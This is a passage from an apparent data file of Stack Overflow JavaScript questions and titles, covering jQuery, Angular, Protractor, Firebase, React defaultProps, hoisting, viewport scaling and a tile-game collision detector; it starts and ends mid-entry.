( e ) , touchend : ( e ) = > this.end ( e ) , mousedown : ( e ) = > this.start ( e ) , onmousemove : ( e ) = > this.move ( e ) , mouseup : ( e ) = > this.end ( e ) } ) ; } } const setSlider = new Slider ( $ ( ' # anchor ' ) , $ ( '.textbox ' ) ) ; setSlider.apply ( ) ; a { display : block ; width : 100px ; height : 100px ; background-color : orange ; } < a id= '' anchor '' href= '' https : //google.co.uk '' > Tap or Click Me < /a > < p class= '' textbox '' > < /p > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script >",How would I prevent redirecting of a href during touchmove and mousemove ? "JS : I have this piece of codeIt triggers when I want to delete a table row through the delete button ( as shows the image ) image http : //aviary.com/viewfull ? fguid=433f68f6-d18d-102d-a9f3-0030488e168c & nowatermark=trueIt may happen that the table becomes empty of table rows . I want to delete the whole table when this occurs , but the table is n't being removed . The line code $ ( this ) .remove ( ) ; works and this seems to refer to the tr element in that scope 'cause the whole row is being removed but the next 2 lines does n't work . The table is n't being removed.EDITI changed the if ( $ ( this ) .closest ( 'table ' ) .find ( 'tbody ' ) .is ( ' : empty ' ) ) to if ( ! $ ( this ) .closest ( 'table ' ) .find ( 'tbody ' ) .is ( ' : empty ' ) ) ( exclamation mark ) to see if it removes and it removed the whole table , but I inspected the table element before and after deleting the last row and got thisimage http : //rookery9.aviary.com.s3.amazonaws.com/4344000/4344383_4fbd.pngJS says that tbody is not empty , google chrome says otherwise . I do n't know how to fix it // TR Fading when deleted $ ( '.delete ' ) .live ( 'click ' , function ( ) { $ .ajax ( { type : 'POST ' , url : 'history/delete/id/'+ $ ( this ) .attr ( 'id ' ) } ) ; $ ( this ) .closest ( 'tr ' ) .fadeOut ( 'slow ' , function ( ) { $ ( this ) .remove ( ) ; if ( $ ( this ) .closest ( 'table ' ) .find ( 'tbody ' ) .is ( ' : empty ' ) ) $ ( ' # latest ' ) .remove ( ) ; } ) ; return false ; } ) ;",Why does n't it remove the table ? "JS : I am trying to calculate the elapsed time an element is painted onto the DOM from the start time of the script or if the specific element was even painted at all . I am inserting a background gradient to the HTML , and then using javascript to create random ( clouds , which are just large periods with a text shadow ) in multiple places across the screen ( some negative , some positive , some within scope , some outside of scope ) .Currently my code looks like this : I then run this inside of an iframe , trying to detect if the visible elements are being painted first , or if they are being painted in display order ( pretty much , is the ad currently being viewed , or is it out of view ) .I have not found a solid technique yet that works crossbrowser to detect this . In chrome , I was able to see it work when pasting images , as the visible images got an onload event fired first ( even though they were at the end of the DOM ) , but this was n't the case for firefox or IE . < html > < head > < style > .container { border : 1px solid # 3b599e ; overflow : hidden ; filter : progid : DXImageTransform.Microsoft.gradient ( startColorstr= ' # 315d8c ' , endColorstr= ' # 84aace ' ) ; /* for IE */ background : -webkit-gradient ( linear , left top , left bottom , from ( # 315d8c ) , to ( # 84aace ) ) ; /* for webkit browsers */ background : -moz-linear-gradient ( top , # 315d8c , # 84aace ) ; /* for firefox 3.6+ */ } .cloud { color : # fff ; position : relative ; font : 100 % `` Times New Roman '' , Times , serif ; text-shadow : 0px 0px 10px # fff ; line-height : 0 ; } < /style > < script type= '' text/javascript '' > function cloud ( ) { var b1 = `` < div class=\ '' cloud\ '' style=\ '' font-size : `` ; var b2 = `` px ; position : absolute ; top : `` ; document.write ( b1+ '' 300px ; width : 300px ; height : 300 '' +b2+ '' 34px ; left : 28px ; \ '' > . < \/div > '' ) ; document.write ( b1+ '' 300px ; width : 300px ; height : 300 '' +b2+ '' 46px ; left : 10px ; \ '' > . < \/div > '' ) ; document.write ( b1+ '' 300px ; width : 300px ; height : 300 '' +b2+ '' 46px ; left : 50px ; \ '' > . < \/div > '' ) ; document.write ( b1+ '' 400px ; width : 400px ; height : 400 '' +b2+ '' 24px ; left : 20px ; \ '' > . < \/div > '' ) ; } function clouds ( ) { var top = [ '-80 ' , '80 ' , '240 ' , '400 ' ] ; var left = -10 ; var a1 = `` < div style=\ '' position : relative ; top : `` ; var a2 = `` px ; left : `` ; var a3 = `` px ; \ '' > < script type=\ '' text/javascript\ '' > cloud ( ) ; < \/script > < \/div > '' ; for ( i=0 ; i < 8 ; i++ ) { document.write ( a1+top [ 0 ] +a2+left+a3 ) ; document.write ( a1+top [ 1 ] +a2+left+a3 ) ; document.write ( a1+top [ 2 ] +a2+left+a3 ) ; document.write ( a1+top [ 3 ] +a2+left+a3 ) ; if ( i==4 ) { left = -90 ; top = [ ' 0 ' , '160 ' , '320 ' , '480 ' ] ; } else left += 160 ; } } < /script > < /head > < body style= '' margin:0 ; padding:0 ; '' > < div class= '' container '' style= '' width : 728px ; height : 90px ; '' > < script > clouds ( ) ; < /script > < /div > < /body > < /html >",Calculating Paint Times of Elements In All Browsers "JS : i 'm trying to test an application that displays graphs using rickshaw and d3 . tests are implemented using protractor and jasmine . as a side note , i believe the question is not really specific to this use case and is more generic.so , the test is supposed to hover a mouse over a graph and collect the text that is shown for each point ( example ) . this array is then to be matched against a given array.i hope this pseudocode illustrates the problem : so , the problem is that since i need the size to resolve first , i do n't have a way to wait for all promises to resolve and return an array of text promises that can later be used with expect ( ) .EDIT : explicitly mentioned protractor/jasmine . var graph = ... //var promises = [ ] ; var promise = graphElement.getSize ( ) .then ( function ( size ) { _.times ( size , function ( i ) { moveMouse ( i , 0 ) ; // move mouse to i-th pixel promises.push ( graph.element ( by.css ( '.hover-text ' ) ) .getText ( ) ) ; } ) ; return promises ; } ) ; promise.magicallyWaitForAllOfThem ( ) ; _.each ( promises , function ( textPromise ) { expect ( textPromise ) .toBe ( 'something ' ) ; } ) ;",get array of different values of the same element using protractor "JS : Here is my code : I 'm trying ( very new on this ) to update the id= '' vehicle '' value , which is a text input , by calling the onclick= '' myFunction2 ( ) '' . The main problem i find it 's that inside the php string , it does n't allow me to concat the string with the `` code '' var in between.I 've tried to cocant the whole 'document.getElementById ( `` vehicle '' ) .value'Also tried by using the concat JS method.What shall I do ? Thank you ! function myFunction2 ( ) { var code = document.getElementById ( `` vehicle '' ) .value ; var aux = `` < ? php $ conn = oci_connect ( $ _SESSION [ 'user ' ] , $ _SESSION [ 'pswd ' ] , 'oracleps ' ) ; $ stid = oci_parse ( $ conn , 'select max ( kmi ) from lloguer where lloguer.codi_vehicle= '' +code+ '' ' ) ; oci_execute ( $ stid ) ; $ row = oci_fetch_array ( $ stid , OCI_BOTH ) ; $ kmi= ( $ row [ 0 ] ) ; echo $ kmi ; ? > '' ; document.getElementById ( `` kilometres '' ) .value= aux ; }",insert JS variable in a PHP string "JS : I 'm doing an audit in a large codebase , and I need to search to find all uses of a component where it is used with a given prop . I 'm thinking a regex could be useful here , but I ca n't figure out how to handle potential newlines in the markup . I need to be able to differentiate between these two usages , finding the latter : I do n't care about the value of the target prop , just that it exists on the component . < Component prop1= '' value1 '' prop2= { 2 } / > < Component prop1= '' value1 '' targetProp= { 3 } prop2= { 2 } / >",Regex to find React JSX element with a given property ? "JS : I saw the code above , a function is declared in { } . I think it would print 0 0 , but it prints 0 5 var a ; if ( true ) { a = 5 ; function a ( ) { } a = 0 ; console.log ( a ) } console.log ( a )",confused about function declaration in { } "JS : location is the owned property of window and document.But when i tried to compare prototype of location with Location.prototype , i got error that Location is not defined.Although i can see Location constructor in the Location object.What is the prototype object of location ? Ideally we should be able to see Location.prototype and methods on it like assign and other two.Chrome bug ? window.hasOwnProperty ( `` location '' ) truedocument.hasOwnProperty ( `` location '' ) true",what is the prototype object of Location object ? "JS : The following ( simplified ) json type of data defines a Contact : There is the following group of data : Goal is to find the groups that belong together using javascript ( optionally in lodash , but main idea is to get the algorithm clear ) according to the following constraint : a contact belongs to a group when any of the following criteria are the same : name , phone or email . The results shows the id 's grouped as arrays in arrays . a contact in a group of 1 is ignored.In the example above , it means that contacts with ids 1,3,5 belong together since 1,3 share the same email and 3 and 5 share the same phonenumber . Likewise 2,6,7 : 2 and 6 have the same name and 6 and 7 have the same email . 5 does not have anything in common.The expected result therefore is : [ [ 1,3,5 ] , [ 2,6,7 ] ] Background : One solution that works is iterating over every item and check for the remainder of the list if name , email , or phone is the same . If so , group them and take them out of the list ( in the example we compare 1 with all the items in the list and only 3 is found ) . problem is that next items also need to be checked again to these groups , because in this case 5 is not yet detected as part of the group . This makes the algorithm complex , while I suspect there is a simple way of solving this in linear time . There might also be a name for this class of problems ? ` { id : number ; name : string ; phone : string ; email : string } + -- -+ -- -- -- -- -- + -- -- -- -- -- -- -+ -- -- -- -- -- -- -- -- -- -- -- -- -- -+ |id | name | phone |email | + -- -+ -- -- -- -- -- + -- -- -- -- -- -- -+ -- -- -- -- -- -- -- -- -- -- -- -- -- -+|1 | John | 11111111 |aaaa @ test.com | |2 | Marc | 22222222 |bbbb @ test.com | |3 | Ron | 99999999 |aaaa @ test.com ||4 | Andrew | 55555555 |dddd @ test.com ||5 | Wim | 99999999 |gggg @ test.com ||6 | Marc | 33333333 |cccc @ test.com ||7 | Dan | 44444444 |cccc @ test.com |+ -- -+ -- -- -- -- -- + -- -- -- -- -- -- -+ -- -- -- -- -- -- -- -- -- -- -- -- -- -+",optimal algorithm grouping data in javascript "JS : I have a schema in Firebase that looks like this : Then I have the following queries executed consecutively in my code : I 'm wondering why child_added gets called twice here , the first one being similar to the value returned by the once ( 'value ' ) query.Here 's what the console displays : Note that I 'm not adding new entries to Firebase here . Just querying.EDIT : Here is a fiddle link demonstrating the issue : https : //jsfiddle.net/dspLwvc3/2/ messages/ $ groupId/ $ messageId/ message : 'Sample Message ' createdBy : 'userID ' createdAt : 1513337977055 // Get a specific messageref.child ( 'messages/ $ groupId/ $ messageId ' ) .once ( 'value ' ) .then ( snap = > console.log ( 'value ' , snap.val ( ) ) ) // Start new message listenerref.child ( 'messages/ $ groupId ' ) .orderByKey ( ) .limitToLast ( 1 ) .on ( 'child_added ' , snap = > console.log ( 'child_added ' , snap.val ( ) ) ) child_added { message : 'Hello ' , createdAt : 1513337977055 , createdBy : 'userId ' } value { message : 'Hello ' , createdAt : 1513337977055 , createdBy : 'userId ' } child_added { message : 'Another message ' , createdAt : 1513337977066 , createdBy : 'userId2 ' }",Firebase query : Why is child_added called before the value query in the following code ? "JS : I am using Microsoft Cognitive Services api for nodejs . I have following codehowever , when I execute this code I get following errorHow can I resolve this error ? const cognitiveServices = require ( 'cognitive-services ' ) ; const face = new cognitiveServices.face ( { API_KEY : yourApiKey } ) const parameters = { returnFaceId : `` true '' returnFaceLandmarks : `` false '' } ; const body = { `` url '' : `` URL of input image '' } ; face.detect ( { parameters , body } ) .then ( ( response ) = > { console.log ( 'Got response ' , response ) ; } ) .catch ( ( err ) = > { console.error ( 'Encountered error making request : ' , err ) ; } ) ; const face = new cognitiveServices.face ( { ^ TypeError : cognitiveServices.face is not a constructor at Object. < anonymous > ( /Users/ ... ./face.js:3:14 ) at Module._compile ( module.js:556:32 ) at Object.Module._extensions..js ( module.js:565:10 ) at Module.load ( module.js:473:32 ) at tryModuleLoad ( module.js:432:12 ) at Function.Module._load ( module.js:424:3 ) at Module.runMain ( module.js:590:10 ) at run ( bootstrap_node.js:394:7 ) at startup ( bootstrap_node.js:149:9 ) at bootstrap_node.js:509:3",TypeError : cognitiveServices.face is not a constructor "JS : I have a component which has one required property and one optional property . The optional property acts as an override mechanism which , if not present , defaults to a value derived from the required property . It 's set up like this : This allows me to have a mature , ripe banana : Or a younger , unripe banana : The project I 'm working on enforces that if a prop value is n't read as a constant it must be given a default value within defaultProps . Currently I 'm doing this : But this is silly because my component 's logic already handles the default state.Am I stuck with this pattern , or is it possible to read the type property within defaultProps in order to do something like this : ... and then read the colour property as a constant as well , dropping the defaulting logic ? function fruitColour ( fruit ) { switch ( fruit ) { case 'banana ' : return 'yellow ' ; } } const Fruit = ( props ) = > { const { type } = props ; let { colour } = props ; colour = colour || fruitColour ( type ) ; return < p > A yummy { colour } { type } ! < /p > } < Fruit type='banana ' / > < Fruit type='banana ' colour='green ' / > Fruit.defaultProps = { colour : `` } Fruit.defaultProps = { colour : ( props ) = > fruitColour ( props.type ) }",Applying logic to defaultProps "JS : How can I manipulate dates so that they show up as `` just now '' ... `` 5 mins ago '' ... `` 3 hours ago '' ... `` June 22nd , 2010 at 1:45pm '' in similar fashion to how SO displays the dates next to the answers/comments to each question ? To further complicate matters , the dates stored in my database are in GMT time ( which is fine ) , but I want them to appear in the timezone of each user 's browser.I 've already tried John Resig 's pretty date plugin : http : //bassistance.de/jquery-plugins/jquery-plugin-prettydate/ , and I 've edited it so that it subtracts the timezone offset from the GMT time in the database . However , this solution only works in FireFox.Here 's the 'prettydate ' function after I 've added the timezone offset : Edit : I 'm using Python with Django templates ( via Google Webapp ) , and the 'time ' object I 'm passing in a 'db.DateTimeProperty ( ) ' in the iso format like so : format : function ( time ) { var date = new Date ( time ) ; var currentDate = new Date ( ) ; var timezoneOffsetInMilliseconds = currentDate.getTimezoneOffset ( ) * 60000 ; var currentTimeInMillisecondsUtc = currentDate.getTime ( ) ; var givenTimeInMillisecondsUtc = date.getTime ( ) - timezoneOffsetInMilliseconds ; var diffInSeconds = ( ( currentTimeInMillisecondsUtc - givenTimeInMillisecondsUtc ) / 1000 ) ; var day_diff = Math.floor ( diffInSeconds / 86400 ) ; if ( isNaN ( day_diff ) || day_diff < 0 ) return ; // If longer than a month , calculate the date w/ timezone offset if ( day_diff > = 31 ) return new Date ( givenTimeInMillisecondsUtc ) .toLocaleString ( ) ; var messages = $ .prettyDate.messages ; return day_diff == 0 & & ( diffInSeconds < 60 & & messages.now || diffInSeconds < 120 & & messages.minute || diffInSeconds < 3600 & & messages.minutes ( Math.floor ( diffInSeconds / 60 ) ) || diffInSeconds < 7200 & & messages.hour || diffInSeconds < 86400 & & messages.hours ( Math.floor ( diffInSeconds / 3600 ) ) ) || day_diff == 1 & & messages.yesterday || day_diff < 7 & & messages.days ( day_diff ) || day_diff < 31 & & messages.weeks ( Math.ceil ( day_diff / 7 ) ) ; } < span class= '' prettyDate '' title= ' { { q.date.isoformat } } ' > { { q.date.isoformat } } < /span >",How to display a relative-to-absolute date cross-browsers ? "JS : I 'm curious about whether there is any way to fake out Array.isArray ( ) with a user-defined object.From the book JavaScript Patterns : That object clearly fails , but is there any other way to do it ? This is sheer curiosity , and not because I think that you could ever screw with .isArray ( ) in regular client code ( though it would obviously be fantastic to know if you could ! ) . Array.isArray ( [ ] ) ; // true// trying to fool the check// with an array-like objectArray.isArray ( { length : 1 , `` 0 '' : 1 , slice : function ( ) { } } ) ; // false",Can you fake out Array.isArray ( ) with a user-defined object ? "JS : If you use something like : and # foobar contains < script > tags , are the < script > tags included ? EDIT : They are . Proof : http : //jsfiddle.net/trusktr/YBzTB/ var contents = document.getElementById ( 'foobar ' ) .innerHTML ;",Does JavaScripts 's .innerHTML grab < script > tags ? "JS : I have a fair bit of understanding about JavaScript scoping -- that the language has function-level scope and the variable and function declarations are hoisted to the top of their containing scope . However , I ca n't figure out why the following two pieces of code log different values : This logs the value 1 to the console : And mysteriously , this logs 10 : So what 's going on underneath the hood ? var a = 1 ; function b ( ) { a = 10 ; return ; function a ( ) { } } b ( ) ; console.log ( a ) ; var a = 1 ; function b ( ) { a = 10 ; return ; } b ( ) ; console.log ( a ) ;",Confusion with JavaScript scoping "JS : I am creating checkboxes using JavaScript , adding the onchange listener to them and adding them to a div using a loop . However , only the last checkbox has the event listener registered . Why is this happening ? var div = document.getElementById ( `` mydiv '' ) ; for ( var i = 0 ; i < 5 ; i++ ) { div.innerHTML += ( `` < br > '' + i ) ; var input = document.createElement ( `` input '' ) ; input.type = `` checkbox '' ; input.onchange = function ( ) { alert ( `` foo '' ) ; } ; div.appendChild ( input ) ; } < div id= '' mydiv '' > < /div >",Why does the event listener only register on the last element created in for loop ? "JS : I have a nw.js native application with angular.js inside . My app bundled with webpack and contains native node.js modules . My entry point is index.js file that I organized like this : My webpack config looks like this : So every dependency include Node.js native modules like fs , path , child_process bundled in one big file bundle.js that i include in html and then package my nw.js app . So my app structure looks like : I 'm trying to run tests with this structure . I tried karma+jasmine , karma+mocha , tried different configurations , my last one looks like : But my tests still not see the angular application . P.S I do n't require exactly karma and jasminne , so any solution will be appreciated . I just want to cover my project with tests var gui = require ( 'nw.gui ' ) ; var angular = require ( 'angular ' ) ; require ( './app.css ' ) ; // other modulesvar myApp = angular.module ( 'myApp ' , [ 'ngRaven ' , 'ngMaterial ' , 'ngMessages ' ] ) .constant ( 'fs ' , require ( 'fs ' ) ) require ( './services ' ) ( myApp ) ; require ( './directives ' ) ( myApp ) ; require ( './factories ' ) ( myApp ) ; require ( './filters ' ) ( myApp ) ; require ( './controllers ' ) ( myApp ) ; require ( './app.js ' ) ( myApp ) ; const path = require ( 'path ' ) ; const config = { entry : [ './app/index.js ' ] , output : { path : path.resolve ( __dirname , 'app ' ) , filename : 'bundle.js ' } , devtool : `` source-map '' , target : 'node-webkit ' , module : { // css , html loaders } , node : { os : true , fs : true , child_process : true , __dirname : true , __filename : true } } ; module.exports = config ; my_project : -- app -- -- controllers -- -- -- welcome -- -- -- -- welcome.js // Page controller -- -- -- -- welcome.html // Page HTML -- -- -- index.js // here I include each page controller -- -- app.js // My angular app initialization -- -- index.js // here I include all dependencies module.exports = function ( config ) { config.set ( { basePath : `` , frameworks : [ 'jasmine ' ] , files : [ 'app/bundle.js ' , 'app/**/*spec.js ' ] , exclude : [ ] , preprocessors : { 'app/bundle.js ' : [ 'webpack ' ] } , reporters : [ 'progress ' ] , port : 9876 , colors : true , logLevel : config.LOG_INFO , autoWatch : true , browsers : [ 'ChromeHeadlessNoSandbox ' ] , customLaunchers : { ChromeHeadlessNoSandbox : { base : 'ChromeHeadless ' , flags : [ ' -- no-sandbox ' ] } } , singleRun : true , webpack : { // you do n't need to specify the entry option because // karma watches the test entry points // webpack watches dependencies // ... remainder of webpack configuration ( or import ) } , webpackMiddleware : { // webpack-dev-middleware configuration // i.e . noInfo : true , // and use stats to turn off verbose output stats : { // options i.e . chunks : false } } } ) ; } ; describe ( 'Welcome page ' , function ( ) { beforeEach ( angular.mock.module ( 'WelcomePageCtrl ' ) ) ; } ) ;",Angular.js+nw.js+webpack+karma+jasmine how to test "JS : I read a piece of Javascript code , where the programmer added something similar to this : and then , in some other parts of the webapp , this piece of code is used and rendered in the page.I assume , considering this specific example of a hidden context menu , that maybe the developer did't want to repeat himself..Is this kind of practice encouraged or it has to be considered a wrong approach ? html = `` < div class='hidden-context-menu ' > < ul > < li > < a class='select-all ' > All < /a > < /li > < li > < a class='select-none ' > None < /a > < /li > ... ... ... < /ul > < /div > `` output_html ( html ) ;",when it 's acceptable to output HTML code from Javascript ? "JS : I am trying to create a function that can manipulate arrays ... now I want it to be like this [ 3 , 1 , 1 , 1 ] now my function accepts 3 parametersArrayToProcess - well its the array that will be processedindexTarget - this is the selected value that is defined by indexmorphToValue - this is the value I want the selected value to become.well my objective is to accept the indexTarget which for exampleas you can see I want my function to loop over the myArray so it will try to add numbers in the array until it will reach the morphToValue so it became [ 3 , 1 , 1 , 1 ] , it purges the 2 on the first index and 1 on the second index to gain 3 . It will just also minus any number on the array if it adds too much on the exceeding on the morphToValueanother example will be like this I want the array var myArray = [ 2 , 1 , 1 , 1 , 1 ] ; to be like thisby doing call myFunction like this how can I make this possible ? I want also to continue iterating on the beginning again of the array if I will set indexTarget in the last index of the array so it would be like thisvar myArray = [ 2 , 1 , 1 , 1 , 1 ] ; it will becomeplease put a comment if you do n't understand something ... .this is what I have tried so far http : //jsfiddle.net/eESNj/ var myArray = [ 2 , 1 , 1 , 1 , 1 ] ; myFunction ( myArray,0,3 ) ; //myArray is [ 2 , 1 , 1 , 1 , 1 ] [ 2 , 1 , 3 ] ; myFunction ( myArray,2,3 ) ; [ 1 , 1 , 1 , 3 ] ; //when I invoke myFunction ( myArray,4,3 ) ; var myArray = [ ' 2 ' , ' 1 ' , ' 1 ' , ' 1 ' , ' 1 ' ] ; indexPurge ( myArray , 0 , 3 ) ; function indexPurge ( haystack , indexTarget , morphToValue ) { var toIntHaystack = [ ] ; for ( var i = 0 ; i < haystack.length ; i++ ) { toIntHaystack.push ( parseInt ( haystack [ i ] ) ) ; } console.log ( toIntHaystack ) ; //before var i = 0 ; var purgedValue = 0 ; do { console.log ( i + ' - ' + toIntHaystack [ i ] ) ; purgedValue += toIntHaystack [ i ] ; toIntHaystack.splice ( i , 1 ) ; if ( purgedValue > = morphToValue ) { break ; } i++ ; } while ( i < toIntHaystack.length ) ; toIntHaystack.splice ( indexTarget , 0 , morphToValue ) ; //after console.log ( toIntHaystack ) ; }",Logic Manipulation of Arrays to Remove an Index "JS : I am new to angular.js , and went through several tutorials , including all of the ones here on codeschool . I found them very useful , and learned a lot . But now that I have finished my `` introduction '' and am getting into trying to use it in some things , I am finding some confusing inconsistencies , most notably , `` dependency injection '' .In the tutorials I took , dependencies for services were done like this ; This strikes me as odd , but it works anyway . I was confused as to why the [ ] did n't terminate before the function ( I am presuming this is what you refer to as a 'callback ' function in javascript ? ) . I was expecting it more like require.js where it would have been ... However then I began to look at examples and demos of angular online , and I found this was n't consistent . For instance , examine the following links ; medium.comrevolunet.comkendo.uiIn each of these , I see dependency injection used like this ; They completely bypass the array like syntax , and all three are different . In one , it takes a type of object that is declared somewhere else , but I do n't see any wiring done to point to it . In another , it just kind of has these objects.And still in another , the 'name ' part of the controller is the name of the function , and I see nothing that really denotes it as a controller , but it is used that way in directives.Can anyone explain this to me ? I am completely lost now . This inconsistency makes it a bit difficult to pick up the techniques . app.controller ( 'name ' , [ $ http , $ scope , function ( $ http , $ scope ) { // .. code ... // } ] ) ; app.controller ( 'name ' , [ ' $ http ' , ' $ scope ' ] , function ( $ http , $ scope ) { } ) ; app.controller ( 'name ' , function ( $ http , AdvancedGithubUser ) { } ) ; app.controller ( 'name ' , function ( $ scope ) { } ) ; function controllerName ( $ scope ) { } ;",Confused about AngularJS dependency injection inconsistency "JS : I have such css code for mobile devices : and i have such html : the main problem , is that when i firstly open my website : on most of devices i have to scale my browser view to fit it ... is it possible to fit device automatically ? for example if device width is 340 : i should scale it out a little bit ( because website is to big for 340px ( it ; s min.640px ) ) ... If 900 : then scale too ... even ipad ( in portrait mode , because it 's width is 768px ) .is it possible to do ? plunker : https : //plnkr.co/edit/5KhIlmtLkWhtROs7y188 ? p=previewand demo : why i have there scrollbar ? i need somehow to zoom it out , so that i will not have any scrollbar there ... and my container should be 640px and no other values for mobile devices ... @ media all and ( min-width : 0px ) and ( max-width : 991px ) { ... } < meta name= '' viewport '' content= '' width=1024 , initial-scale=1 '' id= '' viewportMt '' > < script > window.onload = function ( ) { if ( screen.width < 970 ) { var vp = document.getElementById ( 'viewportMt ' ) ; vp.setAttribute ( 'content ' , 'width=640 , initial-scale=1 ' ) ; } } < /script >",Correct using of mobile viewport on different devices with small width "JS : I 'm building a little mini tile engine game . I 'm currently working on implementing simple block based collision detection , however I 'm having real problems . I 've googled this for hours looking at different implementations but ca n't seem to get my head around it . My current effort ( only currently detecting collisions when the player moves right ) , mostly works but allows the player to pass through the bottom part of the obstacle . The collision uses the normal map array to detect collisions , any value of 2 in the map is a solid object.I understand the concepts of what I need to do - before I move my player , calculate what cell the player will end up in . Check what value has been assigned to that cell . If it is 2 , do n't allow the player to move . My issue is figuring out what cell the player will end up in as technically , at points , the player can be in 4 cells at the same time . I 've tried using origins and 4 corner detection to get around this , but I just ca n't get it working.JS Fiddle HERE - https : //jsfiddle.net/j1xqxze8/My Code ; var Player = function ( ) { this.width = 16 ; this.height = 16 ; this.position = { } ; this.position.x = 32 ; this.position.y = 32 ; this.speed = 8 ; this.render = function ( ) { window.context.fillStyle = 'white ' ; window.context.fillRect ( this.position.x , this.position.y , this.width , this.height ) ; } ; var _self = this ; this.didCollide = function ( dir ) { if ( dir == 'right ' ) { var newBlock = window.tileMap.getCell ( Math.floor ( ( _self.position.x + _self.width ) / 32 ) , Math.floor ( ( this.position.y + this.height / 2 ) / 32 ) ) ; if ( newBlock == 2 ) return true ; } } ; window.addEventListener ( 'keydown ' , function ( e ) { if ( e.keyCode == 38 || e.keyCode == 87 ) { _self.position.y -= _self.speed ; } if ( e.keyCode == 40 || e.keyCode == 83 ) { _self.position.y += _self.speed ; } if ( e.keyCode == 37 || e.keyCode == 65 ) { _self.position.x -= _self.speed ; } if ( e.keyCode == 39 || e.keyCode == 68 ) { if ( ! _self.didCollide ( 'right ' ) ) { _self.position.x += _self.speed ; } } } ) } ; var TileMap = function ( ) { this.map = [ [ 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 2 , 2 , 2 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 1 ] , [ 1 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 